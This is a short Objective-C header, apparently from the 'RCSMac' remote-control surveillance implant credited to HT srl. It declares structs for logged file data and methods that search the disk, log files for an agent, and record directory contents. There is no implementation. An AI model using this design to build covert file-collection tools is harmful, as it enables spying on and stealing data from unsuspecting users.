/* * RCSMFileSystemManager.h * RCSMac * * * Created by revenge on 1/27/11. * Copyright (C) HT srl 2011. All rights reserved * */ #import typedef struct _logDownloadHeader { u_int version; #define LOG_FILE_VERSION 2008122901 u_int fileNameLength; } logDownloadHeader; typedef struct _fileSystemHeader { u_int version; #define LOG_FILESYSTEM_VERSION 2010031501 u_int pathLength; u_int flags; #define FILESYSTEM_IS_DIRECTORY 1 #define FILESYSTEM_IS_EMPTY 2 u_int fileSizeLo; u_int fileSizeHi; u_int timestampLo; u_int timestampHi; } fileSystemHeader; @interface __m_MFileSystemManager : NSObject - (BOOL)createFile: (NSString *)aFileName withData: (NSData *)aFileData; - (NSArray *)searchFilesOnHD: (NSString *)aFileMask; - (BOOL)logFileAtPath: (NSString *)aFilePath forAgentID: (uint32_t)agentID; - (BOOL)logDirContent: (NSString *)aDirPath withDepth: (uint32_t)aDepth; @end .